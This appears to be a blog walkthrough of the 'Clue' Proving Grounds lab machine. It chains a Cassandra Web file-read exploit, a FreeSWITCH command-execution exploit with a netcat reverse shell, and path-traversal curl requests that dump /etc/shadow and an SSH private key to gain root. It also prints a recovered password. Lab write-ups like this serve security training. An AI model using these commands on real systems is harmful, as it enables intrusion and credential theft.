PG - Clue

PG – Clue

In this walk through, we will be going through the Clue room from Proving Grounds. This room is rated as Hard on the platform and it consists of chaining of two service related exploits in order to get the initial foothold. For the privilege escalation part, it require exploitation of sudo misconfiguration on cassandra-web binary. So, let’s get started without any delay.


Machine Info:

DescriptionClue is a Hard Linux machine that requires chaining of two service related exploits in order to get the initial foothold. For the privilege escalation part, it require exploitation of sudo misconfiguration on cassandra-web binary.


  • I started off with a regular nmap aggressive scan and found multiple ports opened – 22 (SSH), 80 (HTTP), 139,445 (SMB), 3000 (HTTP) and 8021 (FreeSwitch).

$ sudo nmap -A
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( ) at 2024-01-19 14:00 IST

Nmap scan report for
Host is up (0.19s latency).
Not shown: 994 filtered ports
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
| vulners: 
|   cpe:/a:openbsd:openssh:7.9p1: 
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	*EXPLOIT*
|     	EDB-ID:46516	5.8	*EXPLOIT*
|     	EDB-ID:46193	5.8	*EXPLOIT*
|     	CVE-2019-6111	5.8
|     	1337DAY-ID-32328	5.8*EXPLOIT*
|     	1337DAY-ID-32009	5.8*EXPLOIT*
|     	PRION:CVE-2019-16905	4.4
|     	CVE-2019-16905	4.4
|     	CVE-2020-14145	4.3
|     	PRION:CVE-2019-6110	4.0
|     	PRION:CVE-2019-6109	4.0
|     	CVE-2019-6110	4.0
|     	CVE-2019-6109	4.0
|     	PRION:CVE-2019-6111	2.6
|     	PRION:CVE-2018-20685	2.6
|     	CVE-2018-20685	2.6
|_    	PACKETSTORM:151227	0.0	*EXPLOIT*
80/tcp   open  http             Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|     	CVE-2019-9517	7.8
|     	PACKETSTORM:171631	7.5	*EXPLOIT*
|     	EDB-ID:51193	7.5	*EXPLOIT*
|     	CVE-2022-31813	7.5
|     	CVE-2022-23943	7.5
|     	CVE-2022-22720	7.5
|     	CVE-2021-44790	7.5
|     	CVE-2021-39275	7.5
|     	CVE-2021-26691	7.5
|     	CVE-2020-11984	7.5
|     	CNVD-2022-73123	7.5
|     	CNVD-2022-03225	7.5
|     	CNVD-2021-102386	7.5
|     	1337DAY-ID-38427	7.5*EXPLOIT*
|     	1337DAY-ID-34882	7.5*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	*EXPLOIT*
|     	EDB-ID:46676	7.2	*EXPLOIT*
|     	CVE-2019-0211	7.2
|     	1337DAY-ID-32502	7.2*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	*EXPLOIT*
|     	CVE-2021-40438	6.8
|     	CVE-2020-35452	6.8
|     	CNVD-2022-03224	6.8
|     	AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C	6.8	*EXPLOIT*
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	6.8	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	6.8	*EXPLOIT*
|     	36618CA8-9316-59CA-B748-82F15F407C4F	6.8	*EXPLOIT*
|     	0095E929-7573-5E4A-A7FA-F6598A35E8DE	6.8	*EXPLOIT*
|     	OSV:BIT-2023-31122	6.4
|     	CVE-2022-28615	6.4
|     	CVE-2021-44224	6.4
|     	CVE-2019-10082	6.4
|     	CVE-2019-10097	6.0
|     	CVE-2019-0217	6.0
|     	CVE-2019-0215	6.0
|     	CVE-2022-22721	5.8
|     	CVE-2020-1927	5.8
|     	CVE-2019-10098	5.8
|     	1337DAY-ID-33577	5.8*EXPLOIT*
|     	CVE-2022-36760	5.1
|     	OSV:BIT-2023-45802	5.0
|     	OSV:BIT-2023-43622	5.0
|     	F7F6E599-CEF4-5E03-8E10-FE18C4101E38	5.0	*EXPLOIT*
|     	E5C174E5-D6E8-56E0-8403-D287DE52EB3F	5.0	*EXPLOIT*
|     	DB6E1BBD-08B1-574D-A351-7D6BB9898A4A	5.0	*EXPLOIT*
|     	CVE-2022-37436	5.0
|     	CVE-2022-30556	5.0
|     	CVE-2022-29404	5.0
|     	CVE-2022-28614	5.0
|     	CVE-2022-26377	5.0
|     	CVE-2022-22719	5.0
|     	CVE-2021-36160	5.0
|     	CVE-2021-34798	5.0
|     	CVE-2021-33193	5.0
|     	CVE-2021-26690	5.0
|     	CVE-2020-9490	5.0
|     	CVE-2020-1934	5.0
|     	CVE-2019-17567	5.0
|     	CVE-2019-10081	5.0
|     	CVE-2019-0220	5.0
|     	CVE-2019-0196	5.0
|     	CVE-2006-20001	5.0
|     	CNVD-2023-93320	5.0
|     	CNVD-2023-80558	5.0
|     	CNVD-2022-73122	5.0
|     	CNVD-2022-53584	5.0
|     	CNVD-2022-53582	5.0
|     	CNVD-2022-03223	5.0
|     	C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B	5.0	*EXPLOIT*
|     	BD3652A9-D066-57BA-9943-4E34970463B9	5.0	*EXPLOIT*
|     	B0208442-6E17-5772-B12D-B5BE30FA5540	5.0	*EXPLOIT*
|     	A820A056-9F91-5059-B0BC-8D92C7A31A52	5.0	*EXPLOIT*
|     	9814661A-35A4-5DB7-BB25-A1040F365C81	5.0	*EXPLOIT*
|     	5A864BCC-B490-5532-83AB-2E4109BB3C31	5.0	*EXPLOIT*
|     	17C6AD2A-8469-56C8-BBBE-1764D0DF1680	5.0	*EXPLOIT*
|     	CVE-2019-0197	4.9
|     	CVE-2020-11993	4.3
|     	CVE-2019-10092	4.3
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	*EXPLOIT*
|     	1337DAY-ID-35422	4.3*EXPLOIT*
|     	1337DAY-ID-33575	4.3*EXPLOIT*
|_    	PACKETSTORM:152441	0.0	*EXPLOIT*
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd
|_http-server-header: thin
|_http-title: Cassandra Web
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Hosts:, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: clue
|   NetBIOS computer name: CLUE\x00
|   Domain name: pg
|   FQDN:
|_  System time: 2024-01-19T03:31:27-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-01-19T08:31:28
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
1   191.97 ms
2   191.23 ms
3   194.70 ms
4   194.82 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 80.79 seconds

nmap scan

nmap scan

  • Enumerated the web server on port 80 and found a Forbidden response while accessing the root directory of the web server.


  • Fired gobuster on the target to reveal some hidden directories. Found one – /backup. However, we didn’t had permissions to access it as well.

gobuster dir -u -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

gobuster scan

backup directory

  • Next, moved to SMB for enumeration and used smbclient to list the shares using null session. Found an interesting one – backup.

smbclient -L

SMB Enumeration

  • Accessed the backup share and downloaded all the files inside it to our local machine for further analysis.

smbclient //


prompt off
recurse on
mget *

downloading files from backup share

  • Moving on, i started my enumeration on port 3000, found out that Cassandra Web was running on that.

Cluster Status

Initial Access:

  • Looked for known exploits related to Cassandra Web which reveals a Remote File read exploit.

Cassandra Web 0.5.0 - Remote File Read

  • Used the metasploit module of the particular exploit and fired it on the target. The output dumps the contents of /etc/passwd file from the target server.


use auxiliary/scanner/http/cassandra_web_file_read



/etc/passwd dump

  • Upon checking the web for eny juicy files which might reveal something important. I stumbled upon one – /proc/self/cmdline. Used it in my exploit which gave the password of user cassie.

set FILEPATH /proc/self/cmdline


set FILEPATH /proc/self/cmdline

  • Next, i started my enumeration on port 8021. Tried to find some known exploits related to freeswitch. Found a Command Execution exploit however it required creds.

searchsploit freeswitch

searchsploit freeswitch

Freeswitch 1.10.1 Command Execution

  • I googled for the config file that stores the freeswitch user creds and found the same. Used the path with the cassandra web exploit gives me the user creds i needed.

set FILEPATH /etc/freeswitch/autoload_configs/event_socket.conf.xml


Downloading event_socket.conf.xml

  • Changed the default password field in the exploit.

Change default password in exploit

  • Now triggered the exploit onto the target with a command like “whoami” and it gives me the output – freeswitch. Bingo.

python3 whoami

trying the exploit

  • Let’s see if have netcat installed on the target with the below command and we does.

python3 "which nc"

checking if netcat is installed

  • Now used the netcat binary to connect back at our listener granting us the initial access on the target.

python3 'nc -nv 3000 -e /bin/bash'

Firing exploit

got initial access

  • As i already knew the user cassie password. So, i switched it off to her.

su cassie

change user to cassie

Privilege Escalation:

  • Listing the sudo misconfigurations on the target with the below command reveals that we can run the cassandra-web binary as root.

sudo -l

sudo -l

  • I checked the cassandra web binary and its help.

cassandra web binary

  • Next, i ran the cassandra-web binary as root to spawn a process on port 4444 with user casie creds.

sudo /usr/local/bin/cassandra-web -B -u cassie -p SecondBiteTheApple330

executing cassandra web binary

  • Spawned another shell on the target as user casie and performed a curl on /etc/passwd file and it gave me a success.

cassie@clue:/var/lib/freeswitch$ curl --path-as-is localhost:4444/../../../../../../../../../../etc/shadow

dumping /etc/shadow

  • Now we can perform some more enumeration using curl and found that the root SSH keys are in user anthony .ssh directory. So dumped the same with the below commands.

curl --path-as-is localhost:4444/../../../../../../../../../../home/anthony/.bash_history

finding root SSH keys

curl --path-as-is localhost:4444/../../../../../../../../../../home/anthony/.ssh/id_rsa

SSH id_rsa

  • Transferred the SSH keys on our local machine. Changed its permissions and SSH into the server as root with it.

chmod 600 id_rsa
ssh -i id_rsa [email protected]

got root

  • Finally captured both the flags and completed the machine.

proof flag

local flag

Also Read: PG – Blogger



So that was Cluefor you. We started off with a regular nmap scan and found multiple ports opened – 22 (SSH), 80 (HTTP), 139,445 (SMB), 3000 (HTTP) and 8021 (FreeSwitch). Enumerated the web server on port 3000 and found Cassandra Web installation. Looked for any known exploit and found a Remote File Read exploit. Dumping /proc/self/cmdline file reveals password for user cassie. Next, looked online for any known exploit related to Freeswitch and found a Freeswitch 1.10.1 Command Execution exploit. Used the cassandra exploit to get the default password for freeswtich from event_socket.conf.xml file. Moving on, changed the default password in freeswitch exploit and fired it on the target giving us the initial access. Next, swtiched the user to cassie with the earlier found password. After that, found that we can run the cassandra-web binary as root. So, used that to dump the root’s private key and then used SSH to login in as root on the target. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top